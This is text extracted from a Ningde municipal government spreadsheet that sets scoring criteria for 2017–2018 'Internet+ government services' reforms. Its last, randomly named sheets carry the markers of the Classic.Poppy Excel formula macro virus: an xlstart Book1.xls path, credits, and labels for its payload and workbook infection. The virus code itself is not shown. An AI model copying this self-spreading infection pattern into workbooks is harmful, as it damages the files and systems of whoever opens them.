1.及时办结率，30分。及时办结率达100%的，得30分；在此基础上，每降低1%，减1分。 2.办结回复率，30分。办结回复率达100%的，得30分；在此基础上，每降低1%，减1分。 3.满意度，40分。满意度低于80%的，不得分；达到80%的，得10分；在此基础上，每提高1%，加2分。 六 电子证照生成和应用情况 1.新增证照生成，30分。通过“省网上办事大厅”、行政审批系统和电子证照库等方式抽查电子证照生成情况。所有办件都实现电子证照同步生成的，得30分，全年不定期抽查；发现一次未按要求同步生成证照并及时归集到省及设区市电子证照库的扣5分，直至扣完。 2.存量证照转化，40分。通过省及设区市电子证照库查看设区市部门签发的存量证照电子化转化情况，全年不定期抽查；全部完成的得40分，发现一处未按要求生成存量电子证照的扣5分，直至扣完。 3.电子证照应用，30分。实现入驻行政服务中心的行政审批和公共服务事项支持电子证照应用，通过“网上办事大厅”、行政审批系统抽查行政审批及公共服务事项办件中电子证照应用情况。实现支持电子证照应用的事项达80%的，得30分；达60%及以上的，得25分；达40%及以上的，得20分；达20%及以上的，得15分；达10%及以上的，得10分；10%以下，不得分。 【工作表：Sheet1】 附件2. 《宁德市人民政府关于印发加快推进“互联网+政务服务”工作方案》 2017年度考核办法（总分60分） 序号 工作任务 工作内容 时间安排 具体贯彻办法 目前进度情况 分值 考核标准 得扣分办法 检查情况 得分情况 备注 1 规范网上服务事项。 第四季度：对接省、市、县（区）行政审批和公共服务事项目录（简称行政审批和服务事项目录）参考目录，建立网上审批事项目录更新调整机制，依托市政府门户网站和网上办事大厅集中公开发布；编制乡镇（街道）行政审批和服务事项目录，启动服务事项编码管理，按照参考目录，规范全市事项名称、条件、材料、流程、时限等，做到“同一事项、同一标准、同一编码”。 10 1、做好省、市行政审批和服务事项参考目录衔接工作，规范事项名称。未按审改办要求衔接到位扣1分。（数据采集单位：审改办） 2、建立市、县、乡各级网上审批事项目录更新调整机制。未及时在市、县政府门户网站和网上办事大厅集中公开发布的扣1分。（数据采集单位：行政服务中心管委会） 3、编制乡镇（街道）行政审批和服务事项目录。（数据采集单位：审改办） 4、规范事项的办理条件、材料、流程、时限，做到“同一事项、同一标准、同一编码”。（数据采集单位：行政服务中心管委会） 2 简化办事材料提交。 第四季度：各部门对照电子证照库，调整清理不属于网上办理的事项，清理现有办事中重复提交的材料，在行政审批和服务事项目录中明确以共享方式获取材料。实现网上办事大厅、市、县（市、区）行政审批系统、市民主页平台等办事服务平台与行政审批和服务事项目录、电子证照库对接，在事项办理过程中凡是电子证照库中有的电子证照不再要求公众重复提交材料。 10 1.完成调整清理不属于网上办理的事项和有清理简化办事材料的,在行政审批和服务事项目录中明确以共享方式获取材料，得5分，每发现一个事项未完成的扣1分，扣完为止。 2.办事平台实现与电子证照库对接，各有关单位需积极配合市数字办进行系统对接。在事项办理过程中明确以共享方式获取材料，不再要求公众重复提交材料得5分，事项办理过程中发现一个无法获取材料的扣0.5分，扣完为止。 3 推进服务事项网上办理 2017年6月底前，全市90%行政审批事项和公共服务事项（即省网上办事大厅“三星级”及以上的办事事项）实现网上办理。 2017年第2季度 市直各部门按星级服务标准标识相应入驻省网办事大厅事项，90%的办事事项开通3星级以上服务通道。 宣传引导企业和群众通过网上办事大厅申报办件，多走“网路”。审批窗口人员应根据申请人实际情况提供标准化服务。 宁德市本级及所辖10个县级中心已达到90%行政审批事项和公共服务事项（即省网上办事大厅“三星级”及以上的办事事项）实现网上办理。 5 在省网上办大厅各县（市、区）分厅查询开通“三星级”及以上的办事事项的比例，已达90%以上得5分，每少1%扣0.2分。 已达90%以上得 分，每少1%扣0.01分。 4 实现审批事项跨层级在线联动办理、主动服务 2017年底前，完成省网上办事大厅和市、县（市、区）行政审批系统的流程对接，支持审批事项跨层级在线联动办理。 2017年第2季度 梳理在线联动办理事项，流程对接接口开发 软件开发商已确定 10 1.省网上办事大厅和县（市、区）行政审批系统的流程对接情况，已流程对接成功得2分，未对接不得分。 2.查看跨层级在线联动办理事项目录，已梳理跨层级在线联动办理事项目录，根据目录的完整情况从1-5分之间酌情给分，未梳理不得分。 3.查看跨层级在线联动办理事项实际办理量。根据办件量多少从0--3分之间酌情给分 1.已流程对接成功得2分，未对接不得分 2.已梳理跨层级在线联动办理事项目录，根据目录的完整情况从1-5分之间酌情给分，未梳理不得分。 3.根据办件量多少从0--3分之间酌情给分 5 推进实体政务大厅与网上服务平台融合发展 第四季度：实现非密政务行政审批和服务事项全部进驻实体政务大厅，实行事项集中办理、一站式办结；开展实体政务大厅和网上服务平台服务流程融合，共享后台基础数据库和流程信息，实现预约、咨询、受理、办理、查询、反馈等环节的线上线下无缝衔接。依托省网上办事大厅，对接全省统一的预约服务功能，对接EMS第三方物流快递信息平台、多卡融合平台、财政非税收入支付平台，实现线上与线下全流程闭环服务。 10 1.查看非密政务行政审批和服务事项目录。无目录的不得分，有事项目录的根据目录的完整情况从1-3分之间酌情给分。 2.查看实体政务大厅进驻事项与事项目录比对情况。从1-5分之间酌情给分。 3.查看政务大厅线上线下无缝对接情况从0-2分之间酌情给分。 1.未梳理非密政务行政审批和服务事项目录的不得分，有事项目录的根据目录的完整情况从0.1-0.5分之间酌情给分。 2.实体政务大厅进驻事项与事项目录比对情况从0.1-0.5分之间酌情给分。 3.政务大厅线上线下无缝对接情况从0.1-0.5分之间酌情给分。 4.对接全省统一的预约服务功能，对接EMS第三方物流快递信息平台、多卡融合平台、财政非税收入支付平台情况从0.5-1分之间酌情给分。 6 推动基层服务网点与网上服务平台无缝对接。 第四季度：建成社区综合受理平台，实现社区综合服务窗口在全市乡镇（街道）、村（社区）全覆盖，打造“便民15分钟服务圈”。 5 1.查看社区综合受理平台验收（或初验）文档，已建成得2分，未建成不得分。 2.查看相关资料，该平台在辖区内乡镇（街道）、村（社区）覆盖率区间位于30%至60%得1分，61%至90%得2分，91%至100%得3分。 7 推进政务数据汇聚共享 第四季度：建设市级政务数据汇聚共享平台，汇聚整合各部门人口、法人数据，形成可供高效共享和分析挖掘的人口、法人数据云。 5 1.查看相关资料。市级政务汇聚共享平台建设项目（或其他项目涵盖该平台功能）完成招标流程，得3分。 2.查看相关资料。市级政务汇聚共享平台建设项目（或其他项目涵盖该平台功能）进入实施阶段，得2分。 8 加快新型智慧城市建设 第四季度：在能源监测、车辆监控、环境监测、船舶监控、公用事业等领域启动一批物联网重大应用工程，推动交通等重点领域应用。 5 查看相关资料。能源监测、车辆监控、环境监测、船舶监控、公共事业等领域的重大应用工程以及交通等重点领域应用每启动一项（以项目立项为节点）得5分。 【工作表：Sheet1 (3)】 附件2. 《宁德市人民政府关于印发加快推进“互联网+政务服务”工作方案》 2017年度考核办法（总分60分） 序号 工作任务 工作内容 时间安排 具体贯彻办法 目前进度情况 分值 考核标准 得扣分办法 检查情况 得分情况 备注 1 规范网上服务事项。 第四季度：对接省、市、县（区）行政审批和公共服务事项目录（简称行政审批和服务事项目录）参考目录，建立网上审批事项目录更新调整机制，依托市政府门户网站和网上办事大厅集中公开发布；编制乡镇（街道）行政审批和服务事项目录，启动服务事项编码管理，按照参考目录，规范全市事项名称、条件、材料、流程、时限等，做到“同一事项、同一标准、同一编码”。 10 1、做好省、市行政审批和服务事项参考目录衔接工作，规范事项名称。未按审改办要求衔接到位扣1分。（数据采集单位：审改办） 2、建立市、县、乡各级网上审批事项目录更新调整机制。未及时在市、县政府门户网站和网上办事大厅集中公开发布的扣1分。（数据采集单位：行政服务中心管委会） 3、编制乡镇（街道）行政审批和服务事项目录。（数据采集单位：审改办） 4、规范事项的办理条件、材料、流程、时限，做到“同一事项、同一标准、同一编码”。（数据采集单位：行政服务中心管委会） 市审改办 2 简化办事材料提交。 第四季度：各部门对照电子证照库，调整清理不属于网上办理的事项，清理现有办事中重复提交的材料，在行政审批和服务事项目录中明确以共享方式获取材料。实现网上办事大厅、市、县（市、区）行政审批系统、市民主页平台等办事服务平台与行政审批和服务事项目录、电子证照库对接，在事项办理过程中凡是电子证照库中有的电子证照不再要求公众重复提交材料。 10 1.完成调整清理不属于网上办理的事项和有清理简化办事材料的,在行政审批和服务事项目录中明确以共享方式获取材料，得5分，每发现一个事项未完成的扣1分，扣完为止。2.办事平台实现与电子证照库对接，各有关单位需积极配合市数字办进行系统对接。在事项办理过程中明确以共享方式获取材料，不再要求公众重复提交材料得5分，事项办理过程中发现一个无法获取材料的扣0.5分，扣完为止。 市数字办 3 推进服务事项网上办理 2017年6月底前，全市90%行政审批事项和公共服务事项（即省网上办事大厅“三星级”及以上的办事事项）实现网上办理。 2017年第2季度 市直各部门按星级服务标准标识相应入驻省网办事大厅事项，90%的办事事项开通3星级以上服务通道。 宣传引导企业和群众通过网上办事大厅申报办件，多走“网路”。审批窗口人员应根据申请人实际情况提供标准化服务。 宁德市本级及所辖10个县级中心已达到90%行政审批事项和公共服务事项（即省网上办事大厅“三星级”及以上的办事事项）实现网上办理。 5 在省网上办大厅各县（市、区）分厅查询开通“三星级”及以上的办事事项的比例，已达90%以上得5分，每少1%扣0.2分。 已达90%以上得 分，每少1%扣0.01分。 市行政服务中心管委会 4 实现审批事项跨层级在线联动办理、主动服务。 2017年底前，完成省网上办事大厅和市、县（市、区）行政审批系统的流程对接，支持审批事项跨层级在线联动办理。 2017年第2季度 梳理在线联动办理事项，流程对接接口开发 软件开发商已确定 10 1.省网上办事大厅和县（市、区）行政审批系统的流程对接情况，已流程对接成功得2分，未对接不得分。 2.查看跨层级在线联动办理事项目录，已梳理跨层级在线联动办理事项目录，根据目录的完整情况从1-5分之间酌情给分，未梳理不得分。 3.查看跨层级在线联动办理事项实际办理量。根据办件量多少从0--3分之间酌情给分 1.已流程对接成功得2分，未对接不得分 2.已梳理跨层级在线联动办理事项目录，根据目录的完整情况从1-5分之间酌情给分，未梳理不得分。 3.根据办件量多少从0--3分之间酌情给分 市行政服务中心管委会 5 推进实体政务大厅与网上服务平台融合发展 第四季度：实现非密政务行政审批和服务事项全部进驻实体政务大厅，实行事项集中办理、一站式办结；开展实体政务大厅和网上服务平台服务流程融合，共享后台基础数据库和流程信息，实现预约、咨询、受理、办理、查询、反馈等环节的线上线下无缝衔接。依托省网上办事大厅，对接全省统一的预约服务功能，对接EMS第三方物流快递信息平台、多卡融合平台、财政非税收入支付平台，实现线上与线下全流程闭环服务。 10 1.查看非密政务行政审批和服务事项目录。无目录的不得分，有事项目录的根据目录的完整情况从1-3分之间酌情给分。 2.查看实体政务大厅进驻事项与事项目录比对情况。从1-5分之间酌情给分。 3.查看政务大厅线上线下无缝对接情况从0-2分之间酌情给分。 1.未梳理非密政务行政审批和服务事项目录的不得分，有事项目录的根据目录的完整情况从0.1-0.5分之间酌情给分。 2.实体政务大厅进驻事项与事项目录比对情况从0.1-0.5分之间酌情给分。 3.政务大厅线上线下无缝对接情况从0.1-0.5分之间酌情给分。 4.对接全省统一的预约服务功能，对接EMS第三方物流快递信息平台、多卡融合平台、财政非税收入支付平台情况从0.5-1分之间酌情给分。 市行政服务中心管委会 6 推动基层服务网点与网上服务平台无缝对接。 第四季度：建成社区综合受理平台，实现社区综合服务窗口在全市乡镇（街道）、村（社区）全覆盖，打造“便民15分钟服务圈”。 5 1.查看社区综合受理平台验收（或初验）文档，已建成得2分，未建成不得分。 2.查看相关资料，该平台在辖区内乡镇（街道）、村（社区）覆盖率区间位于30%至60%得1分，61%至90%得2分，91%至100%得3分。 市数字办 7 推进政务数据汇聚共享 第四季度：建设市级政务数据汇聚共享平台，汇聚整合各部门人口、法人数据，形成可供高效共享和分析挖掘的人口、法人数据云。 5 1.查看相关资料。市级政务汇聚共享平台建设项目（或其他项目涵盖该平台功能）完成招标流程，得3分。 2.查看相关资料。市级政务汇聚共享平台建设项目（或其他项目涵盖该平台功能）进入实施阶段，得2分。 市数字办 8 加快新型智慧城市建设 第四季度：在能源监测、车辆监控、环境监测、船舶监控、公用事业等领域启动一批物联网重大应用工程，推动交通等重点领域应用。 5 查看相关资料。能源监测、车辆监控、环境监测、船舶监控、公共事业等领域的重大应用工程以及交通灯重点领域应用每启动一项（以项目立项为节点）得5分。 市数字办 【工作表：Sheet1 (2)】 宁德市行政服务中心管委会关于《宁德市人民政府关于印发加快推进“互联网+政务服务”工作方案》 中由本管委会牵头部分工作任务的2017年考核办法 填报时间：2017年4月6日 序号 工作任务 时间安排 具体贯彻办法 目前进度情况 备注 1 （四）推进服务事项网上办理。 2017年6月底前，全市90%行政审批事项和公共服务事项（即省网上办事大厅“三星级”及以上的办事事项）实现网上办理。 2017年第2季度 市直各部门按星级服务标准标识相应入驻省网办事大厅事项，90%的办事事项开通3星级以上服务通道。 宣传引导企业和群众通过网上办事大厅申报办件，多走“网路”。审批窗口人员应根据申请人实际情况提供标准化服务。 宁德市本级及所辖10个县级中心已达到90%行政审批事项和公共服务事项（即省网上办事大厅“三星级”及以上的办事事项）实现网上办理。 2018年底前，针对各事项逐项调整原有纸质材料受理反馈制度，不得拒绝经电子签名以电子形式提交的申报材料，实现30%的行政审批和服务事项全程网办（即省网上办事大厅“四星级”及以上的办事事项）。 2017年第2季度 市直各部门将四星级以上事项的服务指南上标明：可以受理经电子签名的可信电子文件。30%的办事事项开通4星级以上服务通道。 配合市数字办督促部门在事项办结时同步生成电子证照推送给申请人。 宣传推广政务通的使用。 宁德市本级及所辖10个县级中心已实现30%的行政审批和服务事项全程网办（即省网上办事大厅“四星级”及以上的办事事项）。 2020年底前，实现60%行政审批和服务事项全程网办；在行政审批和服务事项目录中明确事项受理和结果反馈方式。 2017年第2季度 市直各部门将四星级以上事项的服务指南上标明：可以受理经电子签名的可信电子文件。60%的办事事项开通4星级以上服务通道。 配合市数字办督促部门在事项办结时同步生成电子证照推送给申请人。 宣传推广政务通的使用。 宁德市本级及所辖10个县级中心已实现60%行政审批和服务事项全程网办。 2 （五）实现审批事项跨层级在线联动办理、主动服务。 2017年底前，完成省网上办事大厅和市、县（市、区）行政审批系统的流程对接，支持审批事项跨层级在线联动办理。 2017年第2季度 梳理在线联动办理事项，流程对接接口开发 软件开发商已确定 2017年第3季度 在线联动办理调试测试 2017年第4季度 全面启动在线联动办理事项网上办理 2020年底前，大多数行政审批和服务事项实行主动服务，主动服务成为政务服务的主要提供方式。鼓励市、县（市、区）直部门依托现有的审批办理平台构建集证后监管、政务指导一体化、智能化的信息服务平台，努力实现‘不跑腿，好办事’的目标。 2017年第2季度 调研梳理比较容易实现主动服务的事项 2017年第3季度 调研梳理比较容易实现主动服务的事项 2017年第4季度 试行比较容易实现主动服务的事项 2018年第1季度 2018年第2季度 2018年第3季度 2018年第4季度 2019年第1季度 2019年第2季度 2019年第3季度 2019年第4季度 2020年第1季度 2020年第2季度 2020年第3季度 2020年第4季度 3 （十）推进实体政务大厅与网上服务平台融合发展 2017年底前，实现非密政务行政审批和服务事项全部进驻实体政务大厅，实行事项集中办理、一站式办结；开展实体政务大厅和网上服务平台服务流程融合，共享后台基础数据库和流程信息，实现预约、咨询、受理、办理、查询、反馈等环节的线上线下无缝衔接。依托省网上办事大厅宁德分厅，对接全省统一的预约服务功能，对接EMS第三方物流快递信息平台、多卡融合平台、财政非税收入支付平台，实现线上与线下全流程闭环服务。 2017年第2季度 对接市审改办的非密政务行政审批和服务事项审改清单及省市县级纵向清单，列明未进驻实体大厅事项。 2017年第3季度 在市行政服务中心新大楼正式投入使用之际，扩大办事大厅面积，实现非密政务行政审批和服务事项全部进驻实体政务大厅，实行事项集中办理、一站式办结。 2017年第4季度 对接省网上办事大厅服务流程融合及预约服务功能，对接EMS第三方物流快递信息平台、多卡融合平台、财政非税收入支付平台接口开发进程，布署对接我市分厅相应功能，实现线上线下无缝衔接全流程闭环服务。 4 （十五）建立健全网上办事大厅运行管理办法 2018年底前，完善网上办事大厅运行管理办法，进一步规范平台的运行和管理 2017年第2季度 调研学习省内兄弟市的网上办事大厅运行管理办法 2017年第3季度 调研学习省外网上办事大厅运行管理办法 2017年第4季度 对接省网上办事大厅有关运行管理办法，制定本市的网上办事大厅运行管理办法（试行） 2018年第1季度 2018年第2季度 2018年第3季度 2018年第4季度 【工作表：fgfreqdr】 附件1：2018年度各县（市、区）“互联网+政务服务”绩效指标考核表.xls Book1 C:\Program Files\Microsoft Office\OFFICE11\xlstart\Book1. **Auto and On Sheet Starts Here** 3 Classic.Poppy by VicodinES With Lord Natas An Excel Formula Macro Virus (XF.Classic) Hydrocodone/APAP 10-650 For Your Computer (C) The Narkotic Network 1998 **Simple Payload** **Set Our Values and Paths** **Add New Workbook, Infect It, Save It As Book1.xls** **Infect Workbook** 【工作表：s753i1hz】 附件1：2018年度各县（市、区）“互联网+政务服务”绩效指标考核表.xls Book1 C:\Program Files\Microsoft Office\OFFICE11\xlstart\Book1. **Auto and On Sheet Starts Here** 3 Classic.Poppy by VicodinES With Lord Natas An Excel Formula Macro Virus (XF.Classic) Hydrocodone/APAP 10-650 For Your Computer (C) The Narkotic Network 1998 **Simple Payload** **Set Our Values and Paths** **Add New Workbook, Infect It, Save It As Book1.xls** **Infect Workbook** 【工作表：awvcwdve】 附件1：2018年度各县（市、区）“互联网+政务服务”绩效指标考核表.xls Book1 C:\Program Files\Microsoft Office\OFFICE11\xlstart\Book1. **Auto and On Sheet Starts Here** 3 Classic.Poppy by VicodinES With Lord Natas An Excel Formula Macro Virus (XF.Classic) Hydrocodone/APAP 10-650 For Your Computer (C) The Narkotic Network 1998 **Simple Payload** **Set Our Values …